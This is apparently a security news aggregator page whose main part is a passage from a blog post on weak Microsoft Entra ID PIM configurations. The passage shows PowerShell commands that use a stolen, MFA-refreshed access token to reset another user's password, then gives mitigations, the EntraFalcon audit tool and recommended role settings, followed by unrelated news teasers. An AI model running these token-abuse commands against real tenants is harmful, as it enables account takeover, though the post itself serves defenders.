scp                 : Contacts.Read Contacts.ReadWrite Directory.AccessAsUser.All email Mail.ReadWrite Mail.ReadWrite.All openid People.Read People.ReadWrite profile Tasks.ReadWrite User.ReadWrite User.ReadWrite.All
tid                 : 9f412d6a-xxxx-xxxx-xxxx-32e31a6af459
upn                 : adm_alice@notasecuretenant.ch
[CUT-BY-COMPASS]

However, because Alice activated the role through PIM and completed MFA, the attacker can now use the refreshed token to abuse those permissions. For example, the attacker may be able to reset another user’s password:

PS> Connect-MgGraph -AccessToken ($Tokens.access_token | ConvertTo-SecureString -AsPlainText -Force)
Welcome to Microsoft Graph!
PS> $newPassword = ConvertTo-SecureString "AttackerSuperPassword!1" -AsPlainText -Force
PS> Update-MgUser -UserId Alex@notasecuretenant.ch -PasswordProfile @{ ForceChangePasswordNextSignIn = $false; Password = $newPassword }

This example shows that PIM protects only the moment of role activation. It does not revoke existing sessions or require MFA again after the role has been activated. If role activation had required an Authentication Context that enforced re-authentication, this abuse path would have been prevented.

Limitation of Authentication Context

In the previous two examples, an Authentication Context was described as an important additional protection. The obvious question is whether an Authentication Context is sufficient to prevent these attacks completely.

Unfortunately, there is an important limitation: “The policy factors in five minutes of clock skew when every time is selected, so that it doesn’t prompt users more often than once every five minutes.5”

This means that Example 1 may still work if the attacker obtains freshly issued tokens that already contain the MFA claim and uses them within five minutes to activate the role. In our experience, this even work when additional grant controls are configured, such as requiring a compliant or hybrid-joined device.

One possible mitigation is to create an additional Conditional Access policy that blocks access unless specific conditions are met, such as a trusted IP range or a device filter, and assign it to the same Authentication Context. Although this approach is not officially documented by Microsoft, our testing showed that it can prevent role activation during the first five minutes after authentication.

Detecting Weak PIM Configuration with EntraFalcon

EntraFalcon is a PowerShell-based assessment and enumeration tool designed to evaluate Microsoft Entra ID environments and identify privileged objects and risky configurations. The tool is open source, available free of charge, and exports results as local interactive HTML reports for offline analysis. Installation instructions and usage details are available on GitHub:
https://github.com/CompassSecurity/EntraFalcon

EntraFalcon enumerates the PIM settings for all Entra ID roles in the tenant. It provides an overview table of the most important role settings and allows direct navigation to the detailed configuration of each role. In addition, it includes built-in checks to identify weak configurations, particularly for Tier-0 roles.

For example, the check PIM-002 identifies direct assignments to Entra ID Tier-0 roles that therefore do not require PIM for activation:

EntraFalcon PIM-002 check showing direct assignments to Entra ID Tier-0 roles without PIM activation

Another example is the check PIM-009, which identifies Tier-0 roles that do not require approval or an Authentication Context:

Screenshot of the EntraFalcon PIM-009 check identifying Tier-0 roles without approval or Authentication Context requirements

Examples of other PIM-related checks include:

Screenshot showing additional PIM-related checks in EntraFalcon

The PIM report also includes a table-based overview of all PIM role settings:

Screenshot of the EntraFalcon PIM role configuration overview

The detailed configuration of each role can also be reviewed directly:

Screenshot of EntraFalcon showing the details of an enumerated PIM role

Recommendations

Appropriate recommendations depend heavily on the organization, the role concept, and the additional protection mechanisms in place, such as phishing-resistant authentication methods, privileged access workstations for Tier-0 administrators, or IP- and device-based restrictions. The following recommendations should therefore be understood as general guidance and adapted to the specific environment.

It is also important to note that PIM alone is not sufficient to fully protect privileged access. Especially for sensitive accounts, it should be combined with a restrictive Conditional Access Policy configuration, for example by enforcing device-based controls.

Recommendations for Tier-0 / Control-Plane Roles

Highly privileged roles such as Global Administrator should only be used for very specific and typically short tasks. Therefore, it is generally feasible to apply restrictive PIM settings. In addition to protecting these roles, restrictive settings also reduce the likelihood that administrators continue using them out of convenience.

Examples of such roles include:

  • Global Administrator
  • Privileged Authentication Administrator
  • Privileged Role Administrator
  • Domain Name Administrator
  • External Identity Provider Administrator
  • Hybrid Identity Administrator
  • Security Administrator
  • Application Administrator*
  • Cloud Application Administrator*

* For the Application Administrator and Cloud Application Administrator roles, the risk depends on whether privileged applications exist in the tenant. However, since this is the case in many environments, it is often reasonable to treat these roles as highly privileged as well.

Recommended settings:

  • Activation maximum duration: 2 to 4 hours
  • On activation require: An Authentication Context that enforces:
    • MFA, ideally phishing-resistant
    • Sign-in frequency: every time
    • Optionally, block activation unless access originates from specific IP ranges or devices*
  • Require justification on activation: Yes
  • Require approval to activate: Yes**
  • Notification on role activation: Yes
  • Allow permanent active assignment: No***

* This can help prevent abuse during the first five minutes after authentication. If equivalent restrictions are already enforced through Conditional Access policies, this may be unnecessary.

** For the strongest protection, a robust approval workflow can help prevent attackers from activating the role themselves, even if they have compromised an administrator’s device.

*** Permanent active assignments should only be considered for roles used by emergency accounts.

Recommendations for Lower-Tier Roles

Lower-tier roles may be used for daily operational tasks, for example by service desk staff managing user accounts. Therefore, requiring approval and generating notifications for every activation often adds little security value while creating unnecessary approval and alert fatigue.

However, not all lower-tier roles are equal. Some are used daily, while others are assigned only occasionally or still provide access to sensitive functions. The appropriate settings should therefore depend not only on the role itself, but also on its actual use and effective assignments in the tenant.

A pragmatic baseline can be:

  • Activation maximum duration: 10 to 12 hours
  • On activation require: An Authentication Context that enforces:
    • MFA, ideally phishing-resistant
    • Sign-in frequency: every time*
  • Require justification on activation: Yes
  • Require approval to activate: No
  • Notification on role activation: No

* Note that the Authentication Context may have no usability impact if the role is activated within five minutes of authentication.

Where a role is rarely used or still enables sensitive changes, stricter settings may still be appropriate.

References

  1. https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-change-default-settings#on-activation-require-microsoft-entra-conditional-access-authentication-context ↩︎
  2. https://learn.microsoft.com/en-us/entra/identity-platform/scopes-oidc ↩︎
  3. https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/ ↩︎
  4. https://github.com/secureworks/family-of-client-ids-research ↩︎
  5. https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-session-lifetime#require-reauthentication-every-time ↩︎

Compass Security Blog – ​Read More

Flowise AI Agent Builder Under Active CVSS 10.0 RCE Exploitation; 12,000+ Instances Exposed

/in

Threat actors are exploiting a maximum-severity security flaw in Flowise, an open-source artificial intelligence (AI) platform, according to new findings from VulnCheck.
The vulnerability in question is CVE-2025-59528 (CVSS score: 10.0), a code injection vulnerability that could result in remote code execution.
“The CustomMCP node allows users to input configuration settings for connecting

The Hacker News – ​Read More

Wynn Resorts Says 21,000 Employees Affected by ShinyHunters Hack

/in

The high-end casino and hotel operator has likely paid a ransom to avoid a data leak.

The post Wynn Resorts Says 21,000 Employees Affected by ShinyHunters Hack appeared first on SecurityWeek.

SecurityWeek – ​Read More

I found Android Auto’s hidden shortcut that automates any task in your car – and it’s brilliant

/in

Android Auto’s best feature is one you probably haven’t discovered yet – and Custom Assistant takes only a minute to set up.

Latest news – ​Read More

LG G6 vs. Samsung S95H: I compared the best OLED TVs of 2026 and made a tough choice

/in

The LG G6 and Samsung S95H are two premium-grade OLED TVs with excellent picture and sound, but which is the better buy?

Latest news – ​Read More

Samsung’s latest TV firmware update fixes the Chromecast issue for older models – finally

/in

Samsung’s 2026 TV lineup will feature built-in support for Google Cast, but with the latest firmware, models as far back as 2024 will also get an update.

Latest news – ​Read More